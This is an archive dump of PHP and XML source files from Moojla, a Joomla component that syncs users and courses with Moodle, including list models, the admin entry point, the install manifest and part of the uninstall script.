}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
/***[JCBGUI.admin_view.php_before_save.130.$$$$]***/
if($data['mid'])
{
$dataObj = array(
"wsfunction" =>
"moojla_user_get_users",
"moodlewsrestformat" => "json",
"criteria" => array(
array(
'key' => 'id',
'value' => $data['mid']
)
)
);
$moodleuser =
current(json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response));
if(is_array($moodleuser) && !empty($moodleuser))
{
$data['userimage'] =
str_replace('/pluginfile.php/',
'/auth/moojla/pluginfile_moojla.php/',
$moodleuser[0]->profileimageurl);
}
}
/***[/JCBGUI$$$$]***/
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/user_maps.php000064400000024271151165724400010551 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_maps.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_maps Model
*/
class MoojlaModelUser_maps extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.jid','jid',
'a.mid','mid'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$jid = $this->getUserStateFromRequest($this->context .
'.filter.jid', 'filter_jid');
if ($formSubmited)
{
$jid = $app->input->post->get('jid');
$this->setState('filter.jid', $jid);
}
$mid = $this->getUserStateFromRequest($this->context .
'.filter.mid', 'filter_mid');
if ($formSubmited)
{
$mid = $app->input->post->get('mid');
$this->setState('filter.mid', $mid);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
/***[JCBGUI.admin_view.php_getitems_after_all.130.$$$$]***/
foreach($items as $index => $it)
{
if($it->userimage)
{
$items[$index]->userimage = "<img
src='{$it->userimage}' width='100px'
height='100px'>";
}
}
/***[/JCBGUI$$$$]***/
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_user_map',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.jid LIKE '.$search.')');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get list export data.
*
* @param array $pks The ids of the items to get
* @param JUser $user The user making the request
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExportData($pks, $user = null)
{
// setup the query
if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
{
// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
$_export = true;
// Get the user object if not set.
if (!isset($user) || !MoojlaHelper::checkObject($user))
{
$user = JFactory::getUser();
}
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_user_map table
$query->from($db->quoteName('#__moojla_user_map',
'a'));
// The bulk export path
if ('bulk' === $pks)
{
$query->where('a.id > 0');
}
// A large array of ID's will not work out well
elseif ($pks_size > 500)
{
// Use lowest ID
$query->where('a.id >= ' . (int) min($pks));
// Use highest ID
$query->where('a.id <= ' . (int) max($pks));
}
// The normal default path
else
{
$query->where('a.id IN (' . implode(',',$pks) .
')');
}
// Order the results by ordering
$query->order('a.ordering ASC');
// Load the items
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
$items = $db->loadObjectList();
// Set values to display correctly.
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// unset the values we don't want exported.
unset($item->asset_id);
unset($item->checked_out);
unset($item->checked_out_time);
}
}
// Add headers to items array.
$headers = $this->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
array_unshift($items,$headers);
}
/***[JCBGUI.admin_view.php_getitems_after_all.130.$$$$]***/
foreach($items as $index => $it)
{
if($it->userimage)
{
$items[$index]->userimage = "<img
src='{$it->userimage}' width='100px'
height='100px'>";
}
}
/***[/JCBGUI$$$$]***/
return $items;
}
}
return false;
}
/**
* Method to get header.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExImPortHeaders()
{
// Get a db connection.
$db = JFactory::getDbo();
// get the columns
$columns = $db->getTableColumns("#__moojla_user_map");
if (MoojlaHelper::checkArray($columns))
{
// remove the headers you don't import/export.
unset($columns['asset_id']);
unset($columns['checked_out']);
unset($columns['checked_out_time']);
$headers = new stdClass();
foreach ($columns as $column => $type)
{
$headers->{$column} = $column;
}
return $headers;
}
return false;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.jid');
$id .= ':' . $this->getState('filter.mid');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_user_map'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_user_map'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
moojla.php000064400000003667151165724400006557 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojla.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tabstate');
// Access check.
if (!JFactory::getUser()->authorise('core.manage',
'com_moojla'))
{
throw new
JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'),
403);
};
// Add CSS file for all pages
$document = JFactory::getDocument();
$document->addStyleSheet('components/com_moojla/assets/css/admin.css');
$document->addScript('components/com_moojla/assets/js/admin.js');
// require helper files
JLoader::register('MoojlaHelper', __DIR__ .
'/helpers/moojla.php');
JLoader::register('JHtmlBatch_', __DIR__ .
'/helpers/html/batch_.php');
// Get an instance of the controller prefixed by Moojla
$controller = JControllerLegacy::getInstance('Moojla');
// Perform the Request task
$controller->execute(JFactory::getApplication()->input->get('task'));
// Redirect if set by the controller
$controller->redirect();
moojla.xml000064400000010017151165724400006553 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<extension type="component" version="3.2"
method="upgrade">
<name>COM_MOOJLA</name>
<creationDate>6th April, 2022</creationDate>
<author>Lmskaran</author>
<authorEmail>info@Lmskaran.com</authorEmail>
<authorUrl>http://Lmskaran.com</authorUrl>
<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
<version>1.0.77</version>
<description><![CDATA[
<h1>Moojla (v.1.0.77)</h1>
<div style="clear: both;"></div>
<p></p>
<p>Created by <a href="http://Lmskaran.com"
target="_blank">Lmskaran</a><br
/><small>Development started 22nd July,
2020</small></p>
]]></description>
<!-- Runs on install; New in Joomla 1.5 -->
<install>
<sql>
<file driver="mysql"
charset="utf8">sql/install.mysql.utf8.sql</file>
</sql>
</install>
<!-- Runs on uninstall; New in Joomla 1.5 -->
<uninstall>
<sql>
<file driver="mysql"
charset="utf8">sql/uninstall.mysql.utf8.sql</file>
</sql>
</uninstall>
<!-- Runs on install/uninstall/update; New in Joomla 2.5 -->
<scriptfile>script.php</scriptfile>
<media destination="com_moojla" folder="media">
<filename>index.html</filename>
<folder>js</folder>
<folder>css</folder>
<folder>images</folder>
<folder>pusher</folder>
<folder>bootstrap-v4</folder>
</media>
<!-- Update Schema; New in Joomla 2.5 -->
<update>
<schemas>
<schemapath
type="mysql">sql/updates/mysql/</schemapath>
</schemas>
</update>
<files folder="site">
<filename>controller.php</filename>
<filename>index.html</filename>
<filename>router.php</filename>
<filename>moojla.php</filename>
<filename>router.php</filename>
<folder>assets</folder>
<folder>helpers</folder>
<folder>controllers</folder>
<folder>models</folder>
<folder>views</folder>
<folder>layouts</folder>
</files>
<languages folder="site">
<language
tag="en-GB">language/en-GB/en-GB.com_moojla.ini</language>
<language
tag="en-GB">language/en-GB/en-GB.com_moojla.sys.ini</language>
<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.ini</language>
<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.sys.ini</language>
</languages>
<administration>
<menu>COM_MOOJLA_MENU</menu>
<submenu>
<!-- Instead of link you can specify individual link attributes
-->
<menu option="com_moojla"
view="courses">COM_MOOJLA_MENU_COURSES</menu>
<menu option="com_moojla"
view="course_fields_mapper">COM_MOOJLA_MENU_COURSE_FIELDS_MAPPER</menu>
<menu option="com_moojla"
view="user_maps">COM_MOOJLA_MENU_USER_MAPS</menu>
<menu option="com_moojla"
view="user_fields_map">COM_MOOJLA_MENU_USER_FIELDS_MAP</menu>
<menu option="com_moojla"
view="course_group_maps">COM_MOOJLA_MENU_COURSE_GROUP_MAPS</menu>
<menu option="com_moojla"
view="enrolments">COM_MOOJLA_MENU_ENROLMENTS</menu>
<menu option="com_moojla"
view="tags">COM_MOOJLA_MENU_TAGS</menu>
<menu option="com_moojla"
view="tag_instances">COM_MOOJLA_MENU_TAG_INSTANCES</menu>
<menu option="com_moojla"
view="healthcheck">COM_MOOJLA_MENU_HEALTHCHECK</menu>
<menu option="com_moojla"
view="cohorts">COM_MOOJLA_MENU_COHORTS</menu>
<menu option="com_moojla"
view="languagetranslation">COM_MOOJLA_MENU_LANGUAGETRANSLATION</menu>
</submenu>
<files folder="admin">
<filename>access.xml</filename>
<filename>config.xml</filename>
<filename>controller.php</filename>
<filename>index.html</filename>
<filename>moojla.php</filename>
<folder>assets</folder>
<folder>controllers</folder>
<folder>helpers</folder>
<folder>models</folder>
<folder>sql</folder>
<folder>tables</folder>
<folder>views</folder>
<folder>layouts</folder>
</files>
<languages folder="admin">
<language
tag="en-GB">language/en-GB/en-GB.com_moojla.ini</language>
<language
tag="en-GB">language/en-GB/en-GB.com_moojla.sys.ini</language>
<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.ini</language>
<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.sys.ini</language>
</languages>
</administration>
</extension>script.php000064400000432113151165724400006572
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage script.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
JHTML::_('behavior.modal');
/**
* Script File of Moojla Component
*/
class com_moojlaInstallerScript
{
/**
* Constructor
*
* @param JAdapterInstance $parent The object responsible for running
this script
*/
public function __construct(JAdapterInstance $parent) {}
/**
* Called on installation
*
* @param JAdapterInstance $parent The object responsible for running
this script
*
* @return boolean True on success
*/
public function install(JAdapterInstance $parent) {}
/**
* Called on uninstallation
*
* @param JAdapterInstance $parent The object responsible for running
this script
*/
public function uninstall(JAdapterInstance $parent)
{
// Get Application object
$app = JFactory::getApplication();
// Get The Database object
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select ids from fields
$query->select($db->quoteName('id'));
$query->from($db->quoteName('#__fields'));
// Where course context is found
$query->where( $db->quoteName('context') . ' =
'. $db->quote('com_moojla.course') );
$db->setQuery($query);
// Execute query to see if context is found
$db->execute();
$course_found = $db->getNumRows();
// Now check if there were any rows
if ($course_found)
{
// Since there are load the needed course field ids
$course_field_ids = $db->loadColumn();
// Remove course from the field table
$course_condition = array( $db->quoteName('context') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__fields'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove course add queued success message.
$app->enqueueMessage(JText::_('The fields with type
(com_moojla.course) context was removed from the
<b>#__fields</b> table'));
}
// Also Remove course field values
$course_condition = array( $db->quoteName('field_id') .
' IN ('. implode(',', $course_field_ids)
.')');
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__fields_values'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course field values
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove course add queued success message.
$app->enqueueMessage(JText::_('The fields values for course was
removed from the <b>#__fields_values</b> table'));
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select ids from field groups
$query->select($db->quoteName('id'));
$query->from($db->quoteName('#__fields_groups'));
// Where course context is found
$query->where( $db->quoteName('context') . ' =
'. $db->quote('com_moojla.course') );
$db->setQuery($query);
// Execute query to see if context is found
$db->execute();
$course_found = $db->getNumRows();
// Now check if there were any rows
if ($course_found)
{
// Remove course from the field groups table
$course_condition = array( $db->quoteName('context') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__fields_groups'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove course add queued success message.
$app->enqueueMessage(JText::_('The field groups with type
(com_moojla.course) context was removed from the
<b>#__fields_groups</b> table'));
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where course alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$course_found = $db->getNumRows();
// Now check if there were any rows
if ($course_found)
{
// Since there are load the needed course type ids
$course_ids = $db->loadColumn();
// Remove course from the content type table
$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove course items from the contentitem tag map table
$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove course items from the ucm content table
$course_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully removed course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the course items are cleared from DB
foreach ($course_ids as $course_id)
{
// Remove course items from the ucm base table
$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$db->execute();
// Remove course items from the ucm history table
$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove course items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Course alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$course_found = $db->getNumRows();
// Now check if there were any rows
if ($course_found)
{
// Since there are load the needed course type ids
$course_ids = $db->loadColumn();
// Remove Course from the content type table
$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove Course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove Course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Course items from the contentitem tag map table
$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove Course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully remove Course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Course items from the ucm content table
$course_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove Course items
$course_done = $db->execute();
if ($course_done)
{
// If successfully removed Course add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Course items are cleared from DB
foreach ($course_ids as $course_id)
{
// Remove Course items from the ucm base table
$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove Course items
$db->execute();
// Remove Course items from the ucm history table
$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($course_condition);
$db->setQuery($query);
// Execute the query to remove Course items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Course catid alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course.category') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$course_catid_found = $db->getNumRows();
// Now check if there were any rows
if ($course_catid_found)
{
// Since there are load the needed course_catid type ids
$course_catid_ids = $db->loadColumn();
// Remove Course catid from the content type table
$course_catid_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course.category') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($course_catid_condition);
$db->setQuery($query);
// Execute the query to remove Course catid items
$course_catid_done = $db->execute();
if ($course_catid_done)
{
// If successfully remove Course catid add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Course catid items from the contentitem tag map table
$course_catid_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course.category') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($course_catid_condition);
$db->setQuery($query);
// Execute the query to remove Course catid items
$course_catid_done = $db->execute();
if ($course_catid_done)
{
// If successfully remove Course catid add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Course catid items from the ucm content table
$course_catid_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course.category') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($course_catid_condition);
$db->setQuery($query);
// Execute the query to remove Course catid items
$course_catid_done = $db->execute();
if ($course_catid_done)
{
// If successfully removed Course catid add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__ucm_content</b>
table'));
}
// Make sure that all the Course catid items are cleared from DB
foreach ($course_catid_ids as $course_catid_id)
{
// Remove Course catid items from the ucm base table
$course_catid_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_catid_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($course_catid_condition);
$db->setQuery($query);
// Execute the query to remove Course catid items
$db->execute();
// Remove Course catid items from the ucm history table
$course_catid_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_catid_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($course_catid_condition);
$db->setQuery($query);
// Execute the query to remove Course catid items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Course_field_mapper alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course_field_mapper') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$course_field_mapper_found = $db->getNumRows();
// Now check if there were any rows
if ($course_field_mapper_found)
{
// Since there are load the needed course_field_mapper type ids
$course_field_mapper_ids = $db->loadColumn();
// Remove Course_field_mapper from the content type table
$course_field_mapper_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_field_mapper') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($course_field_mapper_condition);
$db->setQuery($query);
// Execute the query to remove Course_field_mapper items
$course_field_mapper_done = $db->execute();
if ($course_field_mapper_done)
{
// If successfully remove Course_field_mapper add queued success
message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__content_type</b> table'));
}
// Remove Course_field_mapper items from the contentitem tag map table
$course_field_mapper_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_field_mapper') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($course_field_mapper_condition);
$db->setQuery($query);
// Execute the query to remove Course_field_mapper items
$course_field_mapper_done = $db->execute();
if ($course_field_mapper_done)
{
// If successfully remove Course_field_mapper add queued success
message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__contentitem_tag_map</b> table'));
}
// Remove Course_field_mapper items from the ucm content table
$course_field_mapper_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course_field_mapper') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($course_field_mapper_condition);
$db->setQuery($query);
// Execute the query to remove Course_field_mapper items
$course_field_mapper_done = $db->execute();
if ($course_field_mapper_done)
